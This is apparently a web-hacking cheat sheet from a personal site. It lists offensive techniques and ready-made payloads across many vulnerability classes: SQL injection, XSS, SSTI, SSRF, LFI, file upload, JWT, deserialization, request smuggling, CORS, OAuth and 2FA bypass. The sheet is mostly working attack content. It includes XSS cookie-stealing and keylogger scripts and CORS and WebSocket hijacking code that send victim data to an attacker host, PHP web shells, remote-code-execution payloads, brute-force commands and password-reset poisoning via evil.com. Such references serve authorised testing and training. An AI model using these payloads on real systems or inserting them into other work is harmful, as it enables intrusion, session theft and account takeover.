← Back to Cheat Sheets
kavklaw@llm ~ /cheatsheets/web-hacking

kavklaw@llm $ cat web-hacking-checklist.md

Web Hacking Checklist

Systematic web application testing — every vulnerability class, every technique.

Reconnaissance

Initial Recon

# Response headers (leak server/tech info)
curl -I http://target
curl -sD - http://target -o /dev/null

# Check for interesting headers:
# Server, X-Powered-By, X-AspNet-Version, X-Generator

# View page source
curl -s http://target | grep -i "comment\|hidden\|<!--\|TODO\|FIXME"

# robots.txt and sitemap
curl http://target/robots.txt
curl http://target/sitemap.xml

# Security headers check
# Look for missing: CSP, X-Frame-Options, HSTS, X-Content-Type-Options

# Technology fingerprinting
whatweb http://target
wappalyzer (browser extension)

Content Discovery

# Directory brute force
gobuster dir -u http://target -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 50
ffuf -u http://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -fc 404

# With extensions
gobuster dir -u http://target -w wordlist.txt -x php,html,txt,bak,old,conf,zip

# Subdomain / vhost enumeration
gobuster vhost -u http://target.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
ffuf -u http://target.htb -H "Host: FUZZ.target.htb" -w subdomains.txt -fc 302

# Parameter discovery
ffuf -u "http://target/page?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fc 404
arjun -u http://target/page

# Backup / source files
http://target/index.php.bak
http://target/index.php~
http://target/index.php.swp
http://target/.index.php.swp
http://target/WEB-INF/web.xml

Git Exposure

# Check for exposed .git
curl http://target/.git/HEAD
curl http://target/.git/config

# Dump entire repo
git-dumper http://target/.git ./dumped_repo
# Or: https://github.com/internetwache/GitTools

Authentication Testing

# Default credentials
admin:admin, admin:password, root:root, test:test

# Brute force login
hydra -l admin -P /usr/share/wordlists/rockyou.txt target http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
ffuf -u http://target/login -X POST -d "user=admin&pass=FUZZ" -w rockyou.txt -fc 401

# Username enumeration (different response for valid vs invalid)
ffuf -u http://target/login -X POST -d "user=FUZZ&pass=x" -w users.txt -mr "Invalid password"

# Password reset flaws
# - Predictable tokens
# - Token reuse
# - Host header injection (password reset link to attacker)

# Registration flaws
# - Register as admin (case: Admin, admin , admin%00)
# - Mass assignment (add role=admin in POST body)

# 2FA bypass
# - Skip the 2FA step (go directly to /dashboard)
# - Brute force 4-6 digit codes
# - Response manipulation (change 403 to 200)

SQL Injection

# Detection
' OR '1'='1' --
' OR '1'='1' #
" OR "1"="1" --
1' AND 1=1-- -
1' AND 1=2-- -
' UNION SELECT NULL--
' ORDER BY 1--

# Quick SQLMap
sqlmap -u "http://target/page?id=1" --batch --dbs
sqlmap -u "http://target/page" --data="user=test&pass=test" --batch
sqlmap -r request.txt --batch --dbs

# For detailed SQLi payloads, see: /cheatsheets/sqli-cheatsheet.html

Cross-Site Scripting (XSS)

Detection

# Basic tests
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
'><img src=x onerror=alert(1)>
javascript:alert(1)

# Filter bypass
<ScRiPt>alert(1)</ScRiPt>
<img src=x onerror="alert(1)">
<details open ontoggle=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>
<marquee onstart=alert(1)>

Exploitation

# Cookie stealing
<script>document.location='http://LHOST/?c='+document.cookie</script>
<img src=x onerror="fetch('http://LHOST/?c='+document.cookie)">

# Keylogger
<script>document.onkeypress=function(e){fetch('http://LHOST/?k='+e.key)}</script>

# DOM XSS sinks to check
document.write()
innerHTML
outerHTML
eval()
setTimeout()
setInterval()
document.location
window.location

Server-Side Template Injection (SSTI)

# Detection (try math expressions)
{{7*7}}           → 49 = Jinja2 or Twig
${7*7}            → 49 = FreeMarker, Velocity, or Java EL
<%= 7*7 %>       → 49 = ERB (Ruby)
#{7*7}            → 49 = Thymeleaf or PebbleTemplate
{{7*'7'}}         → 7777777 = Jinja2 (string multiplication confirms)

# Jinja2 RCE (Python/Flask)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{cycler.__init__.__globals__.os.popen('id').read()}}

# Twig RCE (PHP)
{{['id']|filter('system')}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# FreeMarker RCE (Java)
${"freemarker.template.utility.Execute"?new()("id")}
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# ERB RCE (Ruby)
<%= system("id") %>
<%= `id` %>

Server-Side Request Forgery (SSRF)

# Basic SSRF
http://target/fetch?url=http://127.0.0.1:8080
http://target/fetch?url=http://localhost/admin

# Cloud metadata endpoints
http://169.254.169.254/latest/meta-data/             # AWS
http://169.254.169.254/metadata/v1/                   # DigitalOcean
http://metadata.google.internal/computeMetadata/v1/   # GCP

# Internal port scanning via SSRF
for port in 80 443 8080 3306 5432 6379 27017; do
  curl "http://target/fetch?url=http://127.0.0.1:$port" 2>/dev/null
done

# Protocol smuggling
file:///etc/passwd
dict://127.0.0.1:11211/stat
gopher://127.0.0.1:6379/_INFO

# Bypass filters
http://127.1
http://0x7f000001
http://2130706433        # decimal
http://[::1]             # IPv6 localhost
http://0177.0.0.1        # octal
http://[email protected]  # URL authority
http://127.0.0.1.nip.io  # DNS rebinding

File Inclusion (LFI / RFI)

# Basic LFI
../../../etc/passwd
..\/..\/..\/etc/passwd
....//....//....//etc/passwd    # Double encoding bypass

# Null byte (PHP < 5.3)
../../../etc/passwd%00

# PHP wrappers
php://filter/convert.base64-encode/resource=config.php
php://input                     # POST: <?php system('id'); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id                     # If expect wrapper enabled

# Log poisoning
# 1. Inject PHP in User-Agent or other logged field
curl -A "<?php system(\$_GET['cmd']); ?>" http://target/
# 2. Include the log
?page=../../../var/log/apache2/access.log&cmd=id

# Windows LFI paths
..\..\..\..\windows\system32\drivers\etc\hosts
..\..\..\..\windows\win.ini
..\..\..\..\inetpub\wwwroot\web.config

File Upload

# Basic PHP shell upload
# Upload shell.php with: <?php system($_GET['cmd']); ?>

# Extension bypass
shell.php5, shell.php7, shell.phtml, shell.pht
shell.php.jpg          # Double extension
shell.php%00.jpg       # Null byte (old systems)
shell.php;.jpg         # IIS semicolon
shell.PhP              # Case variation
shell.php.            # Trailing dot (Windows)
shell.php::$DATA       # NTFS alternate data stream

# Content-Type bypass
# Change Content-Type header to: image/jpeg, image/png

# Magic bytes bypass
# Prepend GIF magic bytes: GIF89a;<?php system($_GET['cmd']); ?>

# .htaccess upload (if allowed)
# Upload .htaccess with: AddType application/x-httpd-php .jpg
# Then upload shell.jpg

# SVG with XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

# Race condition
# Upload file → access before server deletes it

IDOR (Insecure Direct Object Reference)

# Test by modifying IDs
GET /api/user/1001 → try /api/user/1002
GET /invoice?id=100 → try id=101, id=99

# Common IDOR locations
/api/users/{id}
/profile?user_id=X
/download?file_id=X
/order/X
/message/X

# Techniques
# - Sequential IDs: increment/decrement
# - UUID: check if predictable or leaked elsewhere
# - Encoded IDs: base64 decode, modify, re-encode
# - Parameter pollution: id=1&id=2
# - HTTP method switching: GET → PUT/DELETE

# Check both response body AND authorization
# Sometimes data is returned but shouldn't be

CSRF (Cross-Site Request Forgery)

# Check for:
# - Missing CSRF tokens
# - Tokens not validated
# - Tokens not tied to session
# - GET-based state changes

# Basic CSRF PoC
<form action="http://target/change-email" method="POST">
  <input type="hidden" name="email" value="[email protected]">
  <input type="submit">
</form>
<script>document.forms[0].submit();</script>

# JSON CSRF (if no Content-Type check)
<form action="http://target/api/update" method="POST" enctype="text/plain">
  <input name='{"email":"[email protected]","x":"' value='y"}'>
</form>

API Testing

# Common API paths
/api/v1/
/api/v2/
/swagger.json
/openapi.json
/api-docs
/graphql
/.well-known/

# Method testing
curl -X OPTIONS http://target/api/endpoint
curl -X PUT http://target/api/users/1 -d '{"role":"admin"}'
curl -X DELETE http://target/api/users/1

# Mass assignment
# Add extra fields in POST/PUT requests
{"username":"test","password":"test","role":"admin","isAdmin":true}

# Rate limiting bypass
# X-Forwarded-For: 127.0.0.1
# X-Real-IP: varies
# Add random header values

# GraphQL
{__schema{types{name,fields{name}}}}
{__schema{queryType{fields{name,args{name}}}}}
# Introspection → map entire API

JWT Attacks

# Decode JWT (base64)
echo "eyJhbG..." | base64 -d

# None algorithm
# Change header: {"alg":"none","typ":"JWT"}
# Remove signature: header.payload.

# HMAC/RSA confusion (alg: HS256 with RSA public key)
# If server uses RS256, try signing with HS256 using the public key

# Weak secret brute force
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256

# jwt_tool (comprehensive testing)
python3 jwt_tool.py <JWT> -C -d rockyou.txt     # Crack
python3 jwt_tool.py <JWT> -X a                   # alg:none
python3 jwt_tool.py <JWT> -X k -pk public.pem    # Key confusion

# kid injection
{"alg":"HS256","kid":"../../etc/passwd"}
# Sign with content of /etc/passwd as key

# jku/x5u header injection
# Point to attacker-controlled JWKS

Deserialization

PHP

# Detect: look for serialize()/unserialize() in source
# Cookie or parameter with: O:4:"User":1:{s:4:"name";s:5:"admin";}
# phpggc — generate PHP deserialization payloads
phpggc Laravel/RCE1 system "id" -b

Java

# Detect: base64 data starting with rO0AB or hex AC ED 00 05
# ysoserial — generate Java deserialization payloads
java -jar ysoserial.jar CommonsCollections1 "id" | base64

# Common targets: Jenkins, JBoss, WebLogic, Tomcat

Python (Pickle)

# Detect: base64 data, look for pickle.loads() in source
import pickle, os, base64
class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(Exploit())))

Node.js

# Detect: node-serialize, serialize-to-js
# Payload: {"cmd":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"}
# Or use: https://github.com/ajinabraham/Node.Js-Security-Course

GraphQL Testing

# Common endpoints
/graphql
/graphiql
/v1/graphql
/api/graphql
/graphql/console

# Introspection query (map the entire API)
{__schema{queryType{fields{name,args{name,type{name}}}},mutationType{fields{name,args{name,type{name}}}}}}

# Full introspection
{__schema{types{name,fields{name,args{name,type{name,kind,ofType{name}}}},inputFields{name,type{name}}}}}}

# Query all objects of a type
{ users { id username email password } }

# Mutations (modify data)
mutation { createUser(username:"admin2", password:"test", role:"admin") { id } }

# Batching attacks (bypass rate limiting)
[{"query":"mutation{login(user:\"admin\",pass:\"pass1\")}"}, {"query":"mutation{login(user:\"admin\",pass:\"pass2\")}"}]

# Tools:
# - InQL (Burp extension)
# - GraphQL Voyager (visualization)
# - graphql-cop (security auditor)
# - Altair GraphQL Client

# Common vulnerabilities:
# - Introspection enabled → full API map
# - No authorization on queries/mutations
# - IDOR through object IDs
# - Nested query DoS (deep recursion)
# - SQL injection in arguments
# - Batch brute force (login bypass)

WebSocket Testing

# Identify WebSocket connections
# Look for: ws:// or wss:// in JavaScript source
# Check Network tab → WS filter in browser DevTools

# Connect with websocat
websocat ws://target/socket

# Python WebSocket client
import websocket
ws = websocket.create_connection("ws://target/socket")
ws.send('{"action":"test"}')
print(ws.recv())
ws.close()

# Burp Suite: WebSocket messages visible in HTTP History
# Use Repeater to modify and resend WebSocket messages

# Common vulnerabilities:
# - No authentication on WebSocket upgrade
# - Missing Origin header validation → Cross-Site WebSocket Hijacking (CSWSH)
# - Injection through WebSocket messages (SQLi, XSS, command injection)
# - Missing rate limiting
# - Sensitive data transmitted without encryption (ws:// vs wss://)

# Cross-Site WebSocket Hijacking (CSWSH)
<script>
var ws = new WebSocket('ws://target/socket');
ws.onmessage = function(e) {
  fetch('http://LHOST/?data=' + btoa(e.data));
};
ws.onopen = function() {
  ws.send('{"action":"getProfile"}');
};
</script>

Race Conditions

# Race conditions occur when the server doesn't properly handle concurrent requests
# Common targets: coupon codes, votes, money transfers, file operations

# Burp Suite Turbo Intruder (best tool)
# Send request to Turbo Intruder, use "race.py" template
# Sends all requests at once using HTTP/2 single-packet attack

# curl parallel requests
for i in $(seq 1 50); do
  curl -s http://target/redeem?code=DISCOUNT50 &
done
wait

# Python threading
import threading, requests

def redeem():
    requests.post('http://target/redeem', data={'code': 'DISCOUNT50'})

threads = [threading.Thread(target=redeem) for _ in range(50)]
for t in threads: t.start()
for t in threads: t.join()

# Common race condition scenarios:
# - Redeem coupon/voucher multiple times
# - Transfer money multiple times (TOCTOU)
# - Create multiple accounts with same invite code
# - Bypass "one vote per user" limits
# - File upload + access before validation/deletion

# HTTP/2 single-packet attack (most reliable):
# Burp Suite → Group tabs → Send group (single-packet attack)
# This ensures all requests arrive at the server simultaneously

HTTP Request Smuggling

# Occurs when front-end and back-end disagree on request boundaries
# Types: CL.TE, TE.CL, TE.TE

# Detection — CL.TE (front uses Content-Length, back uses Transfer-Encoding)
POST / HTTP/1.1
Host: target
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# Detection — TE.CL (front uses Transfer-Encoding, back uses Content-Length)
POST / HTTP/1.1
Host: target
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


# Exploitation — steal other users' requests
POST / HTTP/1.1
Host: target
Content-Length: 80
Transfer-Encoding: chunked

0

POST /capture HTTP/1.1
Host: target
Content-Length: 200

# Next user's request gets appended to the smuggled body

# Tools:
# - smuggler.py: https://github.com/defparam/smuggler
# - HTTP Request Smuggler (Burp extension)

# Common impacts:
# - Bypass front-end security controls (WAF, ACLs)
# - Poison web cache
# - Hijack other users' requests
# - XSS via request smuggling

Cache Poisoning

# Web cache poisoning: inject malicious content into cached responses

# Step 1: Find unkeyed inputs (headers not in cache key but reflected in response)
# Common unkeyed inputs:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL
# X-Rewrite-URL, X-Forwarded-Port

# Step 2: Inject payload via unkeyed header
GET / HTTP/1.1
Host: target
X-Forwarded-Host: evil.com

# If response includes: <script src="//evil.com/script.js">
# And the response is cached → all users get the poisoned version!

# Tools:
# - Param Miner (Burp extension) — discovers unkeyed parameters
# - Web Cache Deception Scanner

# Web Cache Deception (different attack):
# Trick user into visiting: https://target/profile.css
# If server returns /profile data but cache stores as .css
# Attacker accesses: https://target/profile.css → gets user's data

# Cache key manipulation:
# Add path traversal: /home/../account
# Add parameters: /home?cb=1234 (cache buster)
# Different encodings: /home vs /Home vs /HOME

CORS Misconfiguration

# Check CORS headers
curl -sI -H "Origin: https://evil.com" http://target/api/user
# Look for:
# Access-Control-Allow-Origin: https://evil.com  ← BAD (reflects arbitrary origin)
# Access-Control-Allow-Credentials: true          ← WORSE (allows cookies)

# Common misconfigurations:
# 1. Reflecting any Origin header
# 2. Null origin allowed: Origin: null
# 3. Wildcard with credentials: * + credentials: true (browsers block this, but...)
# 4. Regex bypass: evil.com.attacker.com or evilcom (missing dot)

# Exploitation (steal data from authenticated user)
<script>
var req = new XMLHttpRequest();
req.onload = function() {
  // Send stolen data to attacker
  fetch('http://LHOST/?data=' + btoa(this.responseText));
};
req.open('GET', 'http://target/api/user', true);
req.withCredentials = true;
req.send();
</script>

# Null origin exploit (via sandboxed iframe)
<iframe sandbox="allow-scripts allow-top-navigation" srcdoc="
<script>
var r=new XMLHttpRequest();
r.onload=function(){location='http://LHOST/?d='+btoa(this.responseText)};
r.open('GET','http://target/api/user',true);
r.withCredentials=true;
r.send();
</script>
"></iframe>

Clickjacking

# Check if target can be framed
curl -sI http://target | grep -i "x-frame-options\|content-security-policy"

# Missing X-Frame-Options or CSP frame-ancestors → vulnerable

# Basic clickjacking PoC
<html>
<head><title>Click here to win!</title></head>
<body>
  <h1>Click the button to claim your prize!</h1>
  <div style="position:relative">
    <iframe src="http://target/settings/delete-account"
            style="opacity:0.0001; position:absolute; top:0; left:0; width:500px; height:500px; z-index:2">
    </iframe>
    <button style="position:absolute; top:250px; left:200px; z-index:1">
      Click to claim!
    </button>
  </div>
</body>
</html>

# Multi-step clickjacking (drag and drop)
# Use multiple iframes or repositioning to chain actions

# Defense bypass:
# Some sites use JS frame-busting — try sandbox attribute:
<iframe src="http://target" sandbox="allow-forms allow-scripts"></iframe>
# The sandbox blocks top.location redirects

Host Header Injection

# Password reset poisoning
POST /forgot-password HTTP/1.1
Host: evil.com
Content-Type: application/x-www-form-urlencoded

[email protected]

# If the app uses Host header to build the reset link:
# "Click here: http://evil.com/reset?token=abc123"
# Victim clicks → token sent to attacker's server

# Cache poisoning via Host header
GET / HTTP/1.1
Host: evil.com
# If cached with evil.com content → all users affected

# Routing-based SSRF
GET / HTTP/1.1
Host: internal-service.local
# Front-end routes based on Host header → access internal services

# Double Host header
GET / HTTP/1.1
Host: target.com
Host: evil.com
# Some servers process the second one differently

# Absolute URL
GET http://evil.com/ HTTP/1.1
Host: target.com
# Some servers use the absolute URL over Host header

# X-Forwarded-Host override
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

HTTP Parameter Pollution (HPP)

# Send the same parameter multiple times
# Different servers handle duplicates differently:
# PHP/Apache: LAST parameter wins → param=1&param=2 → param=2
# ASP.NET/IIS: ALL values joined → param=1&param=2 → param=1,2
# Python/Flask: FIRST parameter wins → param=1&param=2 → param=1
# Node.js/Express: Array → param=1&param=2 → param=[1,2]

# Bypass WAF/validation
# WAF checks: user=admin → blocked
# Bypass: user=normal&user=admin → WAF checks first, app uses second

# IDOR via HPP
GET /api/profile?user_id=123&user_id=456
# App authorizes first value, returns data for second

# Server-side HPP
# Inject extra parameters into back-end requests
GET /transfer?to=legit&amount=100%26to%3Dattacker
# If app builds: /api/transfer?to=legit&amount=100&to=attacker

OAuth Attacks

# OAuth 2.0 flow vulnerabilities

# 1. Open redirect in redirect_uri
# Change redirect_uri to attacker-controlled URL
GET /authorize?client_id=X&redirect_uri=https://evil.com/callback&response_type=code
# If server doesn't strictly validate redirect_uri → auth code sent to attacker

# 2. CSRF in OAuth flow (missing state parameter)
# If no state parameter → attacker can link their OAuth account to victim's profile
# Create: https://target/oauth/callback?code=ATTACKER_CODE
# Send to victim → victim's account linked to attacker's OAuth

# 3. Token leakage via Referer header
# If token is in URL fragment and page has external links,
# the token may leak via Referer header

# 4. Scope escalation
GET /authorize?client_id=X&scope=read+write+admin
# Try requesting more scopes than authorized

# 5. Authorization code reuse
# Try using the same authorization code multiple times

# 6. Client secret brute force
# If client_secret is weak, brute force it

# 7. Token in URL (implicit flow)
# Access token in URL fragment → accessible via JavaScript, history, logs

Password Reset Token Attacks

# 1. Predictable tokens
# Are tokens sequential? Timestamp-based? Weak random?
# Request multiple resets, compare tokens for patterns

# 2. Token reuse
# Use the same reset token multiple times
# Change password, then try the same token again

# 3. Host header poisoning
POST /forgot-password HTTP/1.1
Host: evil.com

[email protected]
# Reset link goes to evil.com with victim's token

# 4. Token in response
# Sometimes the token is returned in the response body
# or exposed in a different API endpoint

# 5. Email parameter manipulation
[email protected]&[email protected]
# Some apps send reset to both addresses

# 6. Token expiration
# Does the token expire? After how long?
# Does it expire after use?
# Does requesting a new token invalidate the old one?

# 7. Rate limiting
# Can you brute force short numeric tokens?
# 4-digit code → 10,000 possibilities

2FA Bypass Techniques

# 1. Skip the 2FA page entirely
# After password login, don't go to /2fa — go directly to /dashboard
# Sometimes the session is fully authenticated before 2FA check

# 2. Brute force the code
# 4-digit code = 10,000 possibilities
# 6-digit code = 1,000,000 possibilities
# Check for rate limiting!
# Use Turbo Intruder or ffuf for speed

# 3. Response manipulation
# Intercept the response to the 2FA check
# Change: {"success": false} → {"success": true}
# Change: HTTP 403 → HTTP 200

# 4. Reuse someone else's code
# Is the code tied to the session? Or just valid for any user?

# 5. Previous session reuse
# Login → get session cookie → logout → use old session
# Does the session survive logout?

# 6. Backup codes
# Are backup codes predictable? Reusable? Sequential?
# Can you enumerate them?

# 7. OAuth/SSO bypass
# Login via OAuth/SSO instead of password+2FA
# If 2FA only protects password login, SSO bypasses it

# 8. Race condition
# Submit correct password AND 2FA simultaneously
# Or: request new code while brute forcing old one

# 9. Password reset bypass
# Reset password → often logs you in without 2FA

# 10. Remember device token manipulation
# "Trust this device" cookie → steal or forge it
# Change device ID/fingerprint to a "trusted" value